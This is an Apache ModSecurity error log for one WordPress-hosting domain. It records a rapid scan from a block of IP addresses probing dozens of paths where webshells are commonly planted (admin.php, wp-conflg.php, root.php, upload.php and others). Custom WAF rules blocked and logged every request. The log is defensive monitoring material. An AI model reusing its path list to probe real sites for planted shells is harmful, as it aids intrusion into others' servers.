[Sun May 10 08:20:52.367837 2026] [:error] [pid 46330:tid 46394] [client 85.203.23.168:60703] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/themes.php"] [unique_id "af_PZIztrhd3evDQvs82DgAAAE4"]
[Sun May 10 08:20:52.558734 2026] [:error] [pid 46417:tid 46437] [client 85.203.23.185:46753] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "af_PZGInm7mhwgbe48ZnWQAAARI"]
[Sun May 10 08:20:52.761139 2026] [:error] [pid 46331:tid 46388] [client 85.203.23.192:38775] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/buy.php"] [unique_id "af_PZAP02hpYETwsZpgSNAAAAI4"]
[Sun May 10 08:20:52.967382 2026] [:error] [pid 46331:tid 46370] [client 85.203.23.169:48285] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/"] [unique_id "af_PZAP02hpYETwsZpgSNQAAAIY"]
[Sun May 10 08:20:53.173070 2026] [:error] [pid 46330:tid 46402] [client 85.203.23.197:62591] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wa/"] [unique_id "af_PZYztrhd3evDQvs82DwAAAFI"]
[Sun May 10 08:20:53.584354 2026] [:error] [pid 46331:tid 46383] [client 85.203.23.185:57619] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/"] [unique_id "af_PZQP02hpYETwsZpgSNgAAAIs"]
[Sun May 10 08:20:53.789407 2026] [:error] [pid 46329:tid 46334] [client 85.203.23.177:37435] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/404.php"] [unique_id "af_PZeFo7Z2I88d0gPJPiQAAAAE"]
[Sun May 10 08:20:53.998607 2026] [:error] [pid 46331:tid 46407] [client 85.203.23.214:54979] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "af_PZQP02hpYETwsZpgSNwAAAJg"]
[Sun May 10 08:20:54.181984 2026] [:error] [pid 46329:tid 46342] [client 85.203.23.178:37623] [client 85.203.23.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/buy.php"] [unique_id "af_PZuFo7Z2I88d0gPJPigAAAAk"]
[Sun May 10 08:20:54.367879 2026] [:error] [pid 46329:tid 46339] [client 85.203.23.217:39525] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comment-date/"] [unique_id "af_PZuFo7Z2I88d0gPJPiwAAAAY"]
[Sun May 10 08:20:54.595785 2026] [:error] [pid 46331:tid 46405] [client 85.203.23.204:60505] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "af_PZgP02hpYETwsZpgSOAAAAJc"]
[Sun May 10 08:20:54.881302 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.215:57859] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "af_PZtwp8XoWCwFb54CRpgAAANY"]
[Sun May 10 08:21:00.456992 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.171:37425] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/log.php"] [unique_id "af_PbNwp8XoWCwFb54CRrQAAAMA"]
[Sun May 10 08:21:00.652538 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.183:35845] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/about.php"] [unique_id "af_PbNwp8XoWCwFb54CRrgAAANg"]
[Sun May 10 08:21:00.854080 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.185:58717] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-conflg.php"] [unique_id "af_PbNwp8XoWCwFb54CRrwAAAMk"]
[Sun May 10 08:21:01.054797 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.203:23469] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/"] [unique_id "af_Pbdwp8XoWCwFb54CRsAAAAMM"]
[Sun May 10 08:21:01.256163 2026] [:error] [pid 52634:tid 52652] [client 85.203.23.192:63103] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "af_Pbdwp8XoWCwFb54CRsQAAAM4"]
[Sun May 10 08:21:01.472059 2026] [:error] [pid 46331:tid 46397] [client 85.203.23.189:49581] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/mini.php"] [unique_id "af_PbQP02hpYETwsZpgSOQAAAJM"]
[Sun May 10 08:21:01.666612 2026] [:error] [pid 46417:tid 46442] [client 85.203.23.208:64179] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/panel.php"] [unique_id "af_PbWInm7mhwgbe48ZnXAAAARc"]
[Sun May 10 08:21:01.857527 2026] [:error] [pid 46330:tid 46387] [client 85.203.23.204:26535] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/"] [unique_id "af_PbYztrhd3evDQvs82EAAAAEs"]
[Sun May 10 08:21:02.063535 2026] [:error] [pid 46417:tid 46436] [client 85.203.23.177:44369] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/root.php"] [unique_id "af_PbmInm7mhwgbe48ZnXQAAARE"]
[Sun May 10 08:21:02.248477 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.197:49155] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/development/"] [unique_id "af_Pbtwp8XoWCwFb54CRsgAAANY"]
[Sun May 10 08:21:02.456349 2026] [:error] [pid 52634:tid 52643] [client 85.203.23.168:33849] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/"] [unique_id "af_Pbtwp8XoWCwFb54CRswAAAMU"]
[Sun May 10 08:21:02.667676 2026] [:error] [pid 46331:tid 46380] [client 85.203.23.185:47069] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/m.php"] [unique_id "af_PbgP02hpYETwsZpgSOgAAAIo"]
[Sun May 10 08:21:02.853675 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.182:21723] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "af_Pbtwp8XoWCwFb54CRtQAAAMc"]
[Sun May 10 08:21:03.061167 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.225:46259] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "af_Pb9wp8XoWCwFb54CRtgAAAMY"]
[Sun May 10 08:21:03.256839 2026] [:error] [pid 46417:tid 46423] [client 85.203.23.180:62051] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "af_Pb2Inm7mhwgbe48ZnXwAAAQQ"]
[Sun May 10 08:21:03.501975 2026] [:error] [pid 46331:tid 46366] [client 85.203.23.177:63897] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "af_PbwP02hpYETwsZpgSPAAAAIQ"]
[Sun May 10 08:21:03.685703 2026] [:error] [pid 46417:tid 46437] [client 85.203.23.221:61941] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/a.php"] [unique_id "af_Pb2Inm7mhwgbe48ZnYAAAARI"]
[Sun May 10 08:21:03.871018 2026] [:error] [pid 46417:tid 46420] [client 85.203.23.212:38227] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/includes/"] [unique_id "af_Pb2Inm7mhwgbe48ZnYQAAAQE"]
[Sun May 10 08:21:04.055129 2026] [:error] [pid 52634:tid 52648] [client 85.203.23.219:43491] [client 85.203.23.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/themes/"] [unique_id "af_PcNwp8XoWCwFb54CRtwAAAMo"]
[Sun May 10 08:21:04.255814 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.221:50869] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/footnotes/"] [unique_id "af_PcNwp8XoWCwFb54CRuAAAAMA"]
[Sun May 10 08:21:04.468603 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.222:30589] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "af_PcNwp8XoWCwFb54CRuQAAAMk"]
[Sun May 10 08:21:04.669481 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.224:28291] [client 85.203.23.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "af_PcAP02hpYETwsZpgSPQAAAI0"]
[Sun May 10 08:21:05.005281 2026] [:error] [pid 46417:tid 46419] [client 85.203.23.192:31241] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "af_PcWInm7mhwgbe48ZnYwAAAQA"]
[Sun May 10 08:21:05.487976 2026] [:error] [pid 46417:tid 46433] [client 85.203.23.169:51771] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/upload.php"] [unique_id "af_PcWInm7mhwgbe48ZnZAAAAQ4"]
[Sun May 10 08:21:05.672434 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.188:41623] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-domain.php"] [unique_id "af_Pcdwp8XoWCwFb54CRvAAAAMM"]
[Sun May 10 08:21:05.860779 2026] [:error] [pid 46417:tid 46440] [client 85.203.23.217:59135] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/radio.php"] [unique_id "af_PcWInm7mhwgbe48ZnZQAAARU"]
[Sun May 10 08:21:06.063007 2026] [:error] [pid 46330:tid 46371] [client 85.203.23.224:30165] [client 85.203.23.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "af_Pcoztrhd3evDQvs82EgAAAEI"]
[Sun May 10 08:21:06.256632 2026] [:error] [pid 52634:tid 52661] [client 85.203.23.195:35615] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/fukasawa/inc/classes/403x.php"] [unique_id "af_Pctwp8XoWCwFb54CRvgAAANc"]
[Sun May 10 08:21:06.770520 2026] [:error] [pid 46331:tid 46401] [client 85.203.23.181:28911] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/options.php"] [unique_id "af_PcgP02hpYETwsZpgSPgAAAJU"]
[Sun May 10 08:21:06.959116 2026] [:error] [pid 46417:tid 46424] [client 85.203.23.185:25077] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/config.php"] [unique_id "af_PcmInm7mhwgbe48ZnZgAAAQU"]
[Sun May 10 08:21:07.170877 2026] [:error] [pid 46330:tid 46412] [client 85.203.23.180:29107] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "af_Pc4ztrhd3evDQvs82EwAAAFg"]
[Sun May 10 08:21:07.366405 2026] [:error] [pid 46329:tid 46336] [client 85.203.23.195:36653] [client 85.203.23.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "af_Pc-Fo7Z2I88d0gPJPjgAAAAM"]
[Sun May 10 08:21:07.557931 2026] [:error] [pid 46417:tid 46430] [client 85.203.23.182:31333] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/freeform/"] [unique_id "af_Pc2Inm7mhwgbe48ZnZwAAAQs"]
[Sun May 10 08:21:07.752030 2026] [:error] [pid 46417:tid 46431] [client 85.203.23.202:62147] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "af_Pc2Inm7mhwgbe48ZnaAAAAQw"]
[Sun May 10 08:21:07.958711 2026] [:error] [pid 52634:tid 52643] [client 85.203.23.177:48753] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/system_log.php"] [unique_id "af_Pc9wp8XoWCwFb54CRwAAAAMU"]
[Sun May 10 08:21:08.169248 2026] [:error] [pid 46329:tid 46340] [client 85.203.23.208:49071] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/neve/assets/apps/dashboard/build/"] [unique_id "af_PdOFo7Z2I88d0gPJPkQAAAAc"]
[Sun May 10 08:21:08.371589 2026] [:error] [pid 46331:tid 46388] [client 85.203.23.170:41181] [client 85.203.23.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "af_PdAP02hpYETwsZpgSQAAAAI4"]
[Sun May 10 08:21:08.562112 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.214:48449] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "af_PdNwp8XoWCwFb54CRwgAAAMc"]
[Sun May 10 08:21:08.772183 2026] [:error] [pid 46331:tid 46370] [client 85.203.23.202:20793] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "af_PdAP02hpYETwsZpgSQQAAAIY"]
[Sun May 10 08:21:08.964758 2026] [:error] [pid 46329:tid 46354] [client 85.203.23.187:24147] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/"] [unique_id "af_PdOFo7Z2I88d0gPJPkwAAABU"]
[Sun May 10 08:21:14.180840 2026] [:error] [pid 46417:tid 46419] [client 85.203.23.216:62193] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/"] [unique_id "af_PemInm7mhwgbe48ZnbgAAAQA"]
[Sun May 10 08:21:14.364098 2026] [:error] [pid 46417:tid 46443] [client 85.203.23.190:41555] [client 85.203.23.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/worksec.php"] [unique_id "af_PemInm7mhwgbe48ZnbwAAARg"]
